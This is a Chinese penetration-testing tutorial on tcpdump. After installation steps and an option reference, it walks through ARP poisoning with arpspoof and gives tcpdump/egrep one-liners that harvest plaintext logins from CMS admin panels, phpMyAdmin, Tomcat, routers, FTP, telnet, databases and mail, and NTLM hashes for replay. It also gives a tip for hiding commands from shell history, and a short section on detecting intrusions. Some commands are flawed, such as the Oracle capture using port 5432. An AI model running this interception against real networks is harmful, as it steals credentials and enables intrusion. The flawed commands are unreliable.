linux下的嗅探实践 [tcpdump篇]



单单对于渗透而言,我们可以拿 tcpdump 干些什么:
    从工具命名不难看出,所谓 tcpdump 的意思,其实就是把 tcp 的数据[当然啦,它并非仅仅支持tcp/ip协议族] dump下来,我想作者应该也是这个意思,在常规生产环境中,运维或者协议分析师可能主要用它来捕捉一些敏感的流量行为(通过不同的数据特征来辨别出哪些流量可能带有入侵或者攻击行为),排查诊断各种网络故障,或者专门针对某个工具进行逆向(流量)分析等等……,就tcpdump本身来讲,它能做的事情非常多,真要仔细讲,可能会像wireshark那样,又得出本书,工具虽然小巧,但用途良多,下面就我们单单就实际渗透过程中的一些用法做些简单科普,主要还是用它来抓抓明文密码[当然,它本身的强大绝非仅限于此,个人能力有限,也没一下子涉及那么多,今天只单单说一个点(可能连个点都算不上吧,基本是没有任何技术含量的)]


以centos 6.x中的具体编译安装为例[在其它的发行版中安装方法基本类似],都非常简单,但考虑到文章的完整性想想还是一并说了算了(主要是想让大家能快速上手),工具是开源的(基于c,安装自然需要c编译器[gcc]),请自行到官方站点下载其源码包:
http://www.tcpdump.org/



编译安装前的一些必要准备::

1
2
先检查下当前系统有没有安装tcpdump,如果有,就先将其卸载
# rpm -qa | grep tcpdump

1
2
3
很显然,我这里系统自带的有tcpdump 是4.0版本,确实有点儿老了[其实,新旧不太重要,关键是稳定能用就好],现在就把它卸载掉,咱们来重新编译安装最新版的4.9
# rpm -e tcpdump
# rpm -qa | grep tcpdump
1
2
3
4
5
首先,装好libpcap库,因为tcpdump依赖libpcap进行抓包[其实不仅仅tcpdump依赖它,很多linux下的抓包工具都依赖它,可能是直接用里面封装好的函数比较方便吧],所以在编译tcpdump之前,务必要把libpcap这个库装好,很简单,如下:
# cd libpcap-1.8.1
# ./configure && make && make install 检测依赖环境,生成makefile文件,编译
可以看到,编译安装过程还是比较顺利的,如果目标环境不是特别恶劣,一般安装过程也不会有什么问题
# echo $?
1
2
3
4
5
接着就来编译安装tcpdump,和libpcap编译安装过程并没什么不同,如下:
# cd tcpdump-4.9.0
# ./configure && make && make install
可以看到,编译安装也一切正常
# echo $?
1
2
装好完以后,先稍微测下,看看工具运行是否正常,可以看到,现在tcpdump的版本是4.9,而非之前的4.0,libpcap的版本是1.8.1
# tcpdump -h
1
2
3
执行下面的命令,如果看到有数据流动,就表示tcpdump已经基本可用
# ping www.google.com
# tcpdump -i eth0[你自己的网卡接口] -c 12 新开一个终端监听
1
2
3
注意,如果编译过程中有什么错误,仔细看看提示的是什么东西,相信绝大部分原因可能就是目标的系统中没有装gcc(c编译器),gcc-c++,可以把gcc*先装上,之后再回来接着重新编译(记得在重新编译之前先执行下make clean)
# yum install gcc -y
# yum install gcc-c++ -y 这是redhat系列发行版的名称,ubuntu系列中可能不是这个名字


tcpdump [类似wireshark的命令行版本,虽然没wireshark那么简单易用,但对于一个命令行工具来讲,说心里话,它已经做的足够好了,蛮佩服作者的]:

1
2
3
4
5
6
7
8
9
10
11
12
13
几个常用选项(选项确实比较多,我只挑了几个相对比较常用的,更多更具体的选项用法,请直接自行man tcpdump进行参考):
-D 显示当前系统中所有可用的网卡接口
-i 指定用于嗅探的网卡接口
-c 后面跟上要抓包的个数[要抓几个包]
-s 指定抓取的数据包长度,设置为0时,表示让tcpdump自行选择合适的长度进行抓取,务必加上,不然可能会抓不全
-A 以ASCII码的形式显示每个数据包,分析http类数据非常好用
-vvv 显示最详细的输出
-w 将数据包直接写到文件中而不直接输出,这种有利于我们后续可以直接包丢到wireshark中去人工分析
-U 将数据包的写入和保存同步,不用非等到缓冲区已满时才写入文件,通常配合 -w 一起使用
-r 可以把之前用 -w 写入的数据包文件,再用 -r 选项进行读取
-xx / -XX 以16进制显示数据包,分析学习各种协议时非常直观
-q 让输出的格式更为精简,有点儿类似安静模式
-nn 不解析端口和主机名,其实就是不把端口解析成服务名,比如21 => ftp

1
2
3
4
5
6
7
常用几个过滤器关键字:
host,port 指定ip和端口
src,dst 指定数据流向,目的和源[可以是主机,端口]
net 指定网段
常用的几个过滤器运算符:
and(且) ,or(或者),!(非)


好了,在我们对tcpdump有了基本的了解之后,就可以开始尝试抓取各类明文密码数据了,想必大家都已经很清楚,在实际的渗透过程中,密码对我们来说意味着什么,还是那句话,这里只是单单针对实际渗透过程中的一些用法做些简要说明,更多的用法,大家请自行琢磨:

1
2
3
4
5
6
测试环境,如下[已经全部桥接]:
被嗅探的机器ip: 192.168.3.196 (win7cn) 192.168.3.251(这台机器上有opencart程序,和navcait工具,等会儿要用)
嗅探者的机器ip: 192.168.3.6 (kali)
配置好了各种服务的服务器机器ip: 192.168.3.23 (win2008 r2)
邮件服务器ip: 192.168.3.30
务必记得开启本机的路由转发,不然目标机器就上不了网了
1
2
3
4
先做好arp毒化,因为别人机器上的流量是不会无故流过你的机器的,所以,你务必要主动让别人的流量经过你,这样你才能抓到密码,这里就用dsniff套件中的arpspoof来毒化一下目标机器:
# arpspoof -i eth0 -t 192.168.3.196 192.168.3.1
# arpspoof -i eth0 -t 192.168.3.251 192.168.3.1
# arpspoof -i eth0 -t 192.168.3.1 192.168.3.6

"bypasscdn"

1
抓取指定机器上的各类 http 数据[主要是针对各类web后台登录的账户密码](默认的web端口是80,但你也可以换成一些非常常规的web端口,比如,8080,81,82,8081……不过前提是你要确定这些端口跑的确实是web服务):
1
2
抓取 discuz 的管理员账号密码
# tcpdump -i eth0 -s 0 -nnA 'tcp dst port 80 and host 192.168.3.196 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354)'

"bypasscdn"

1
2
抓取 joomla 的后台管理的账号密码[这里的账号密码字段去看下登录的那个表单里面就知道了]
# tcpdump -i eth0 -s 0 -nnA 'tcp dst port 80 and host 192.168.3.196' | egrep -i 'password=|username=' --color=auto --line-buffered -B20

"bypasscdn"

1
2
抓取 wordprss 的后台账号密码,注意这里的表单字段要稍微改下,后面过滤字段的方式都是一样的,自己去看下就好了
# tcpdump -i eth0 -s 0 -nnA 'tcp dst port 80 and host 192.168.3.196' | egrep -i 'log=|pwd=' --color=auto --line-buffered -B20

"bypasscdn"

1
2
抓取 drupal 的后台账号密码
# tcpdump -i eth0 -s 0 -nnA 'tcp dst port 80 and host 192.168.3.196' | egrep -i 'name=|pass=' --color=auto --line-buffered -B20

"bypasscdn"

1
2
抓取 opencart 的后台账号密码
# tcpdump -i eth0 -s 0 -nnA 'tcp dst port 80 and host 192.168.3.196' | egrep -i --color=auto "username|password" -A 5

"bypasscdn"

1
2
抓取 phpmyadmin 的数据库账号密码
# tcpdump -i eth0 -s 0 -nnA 'tcp dst port 80 and host 192.168.3.196' | egrep -i 'pma_username|pma_password' --color=auto --line-buffered -B20

"bypasscdn"

1
2
抓取华为家用路由的登录密码(目测是sha[有点儿像256]系列的hash,总算碰到了一个加完密再传的 (: )
# tcpdump -i eth0 -s 0 -nnA 'tcp dst port 80 and host 192.168.3.196' | egrep -i 'password' --color=auto --line-buffered -B20

"bypasscdn"

1
2
抓 tomcat 的 manager的登录账号密码,密码时base64编码的,解码下就好了
# tcpdump -i eth0 -s 0 -nnA 'tcp dst port 8080 and host 192.168.3.196' | egrep -i 'Authorization' --color=auto --line-buffered -B20

"bypasscdn"

1
除了上面提到的这些,其实,还有针对各种java控制台[大多数默认都在8080端口上]的登录账号密码都是可以尝试的,这里就不一一演示了,手法基本都类似[只要不是基于ssl的,你都可以随便尝试],关于,如何抓取各种http密码数据暂时就先说到这里了,列举的都是一些极为简单粗暴的用法,大家可以根据自己的实际需求任意发挥[最终目的还是能抓到自己想要的东西],不过需要注意的是,有些目标内部的web服务并非都工作在默认的80或者8080端口上,也可能会跑在81,82,8081……,这样的端口上,在实际渗透过程中,大家要多尝试,对目标的一些敏感信息要有敏锐的观察力[无意中可以激发自己的渗透灵感],根据这种方式,大家不妨尝试自行抓取分析各类常用软件中的一些http数据,至于怎么抓gmail,126,outlook这类的基于tls/ssl账号密码[我们后面会再单独说明],以及其它你能想到的所有的可能会有账号密码的地方都可以随便尝试
1
2
3
抓取指定机器的 ftp 明文账号密码(默认端口:21):
# tcpdump -i eth0 -nn -s 0 host 192.168.3.196 and tcp dst port 21
# tcpdump -i eth0 -s 0 -U host 192.168.3.196 and tcp dst port 21 -w ftp_pass.pcap 直接把包写到文件中,留存后续分析

"bypasscdn"

"bypasscdn"

1
2
抓取 telnet 的登录账号密码,抓路由也许用得到[不过现在貌似大多数都换成ssl了(ssh)](默认端口:23):
# tcpdump -vv -i eth0 -nn -s 0 host 192.168.3.196 and dst port 23 -w telnet_pass.pcap

"bypasscdn"

"bypasscdn"

1
2
3
抓取网络中的sql语句,运气好的话兴趣还能抓到数据库的用户账号密码,当然,你可以通过自己写ettercap脚本对这些语句做一进一步的中间人利用[增删改查],比如权限够的情况下,可以尝试添加数据库用户,添加网站用户,等等……,因为sql都是明文传输,所以如果利用好了危害还是非常大的,不过这并不是今天的重点,我们今天还是想要简要说明下tcpdump在实战中的一些基本用途,至于那些中间人用户,抽空会再详细说明,不过实战中利用起来还是比较困难的,除非你自己的机器直接就正常的处在目标内网[比如,vpn内网,无线……]中,如果是这样,利用起来还是蛮舒服的
抓取 mysql 的增删改查sql(默认端口3306):
# tcpdump -i eth0 -s 0 -XX dst port 3306 and dst host 192.168.3.23

"bypasscdn"

1
2
抓取 mssql 的增删改查sql(默认端口1433):
# tcpdump -i eth0 -s 0 -XX dst port 1433 and dst host 192.168.3.23

"bypasscdn"

1
2
抓取 pgsql 的增删改查sql默认端口5432):
# tcpdump -i eth0 -s 0 -XX dst port 5432 and dst host 192.168.3.23

"bypasscdn"

1
2
抓取 oracle 的增删改查sql(默认端口1521),后面就不一一截图了,累:
# tcpdump -i eth0 -s 0 -XX dst port 5432 and dst host 192.168.3.23
1
2
截获win内网的 ntlm hash(主要是为了重放):
# tcpdump -i eth0 -s 0 -XX 'dst port 445 and dst host 192.168.3.23'
1
2
smtp(默认端口:25) /imap(默认端口:143) /pop3(默认端口:110) 抓取各类邮箱明文登录密码(如果是带s的,这样是抓不到的哦):
# tcpdump -i eth0 -s 0 -XX '(dst port 25 or dst port 143 or dst port 110) and dst host 192.168.3.30'
1
2
ldap(默认端口:389):
# tcpdump -nn -vv -A -i eth0 -s 0 -w /shared/tmp/ldap.cap dst host 192.168.3.23 and dst port 389
1
2
svn(默认端口:3690):
# tcpdump -i eth0 -s 0 -A dst port 3690 and dst host 192.168.3.23
1
2
尝试一句话tcpdump 截获内网中的各类明文密码数据(实际渗透中,账号密码字段,可以根据目标实际环境[观察目标网站后台的账号密码字段命名习惯]自己多写一些,以增加命中率):
# tcpdump port http or port ftp or port smtp or port imap or port pop3 -l -A | egrep -i 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd=|password=|pass:|user:|username:|password:|login:|pass|user' --color=auto --line-buffered -B20 -w res_bak.txt


同样,我们也可以尝试利用tcpdump来简单捕获内网的一些入侵及攻击行为,实际测试过程中还有一些问题需要解决,后期搞通透了会继续更新上来,实在抱歉[最好直接在网关上搞]:

1
2
发现内网中的中间人行为:
arp dhcp icmp ……

1
2
发现内网中的端口扫描行为
top 46 高危端口扫描
1
2
发现内网中的服务爆破行为:
mssql(sa) smb() ftp() rdp() ssh() ldap() snmp() http()……
1
2
检测内网中的有无指定的一些tcp马的数据特征,比如一些常用工具生成的payload特征[原谅我,到现在也没太搞明白meterpreter的内部数据结构,表哥们谁对这一块比较熟,诚心求教]
msf

尝试利用tcpdump对网站进行一些临时性的流量监控:

1
2
粗略抓取请求最频繁的ip[对于一般的CC还是可以的,如果是挂代理的就不能这样搞了]
# tcpdump -i eth0 -s 0 -tnn dst port 80 -c 100 | awk -F"." '{print $1"."$2"."$3"."$4}' | sort | uniq -c | sort -nr |head -20

1
2
3
记录请求最多的ip:
# netstat -anlp | grep 80 | grep tcp|awk '{print $5}'|awk -F: '{print $1}'|sort|uniq -c|sort -nr|head -n20 | netstat -ant |awk '/:80/{split($5,ip,":");++A[ip[1]]}END{for(i in A) print A[i],i}' |sort -rn|head -n20
# iptables -I INPUT -s 扫描者的ip段 -j DROP
1
更多,待续……



一些小结:
    虽然是个小工具,但不乏大作为,尤其在目标系统是linux的情况下,利用系统已有的工具进行渗透,无疑是极好的,注意,实际渗透中,最好把它放在后台,如果你不想让命令记录被到history中,可以先 echo $HISTCONTROL看看,把它设置成空格开头的命令不记录就行了[可能需要你先拿到root],另外,如果你想深入的去学习某些协议的内部运作流程,tcpdump无疑也是一款非常好的入门工具,其实,就工具本身使用来讲,大家也都看到了,几乎是没有任何技术含量,真正考验你的还是对各种常用协议的熟知程度,从各种协议数据里面找到你想要的东西才是关键,最后,还是那句老话,工具是死的,人是活的,脑洞要大,才有可能把’不可能’变成’可能’……我知道,其实大家还有非常多的更精悍的用法,都没有放出来,总得有人先当这个杂碎,所以这里我就先献个丑,期待大家的精华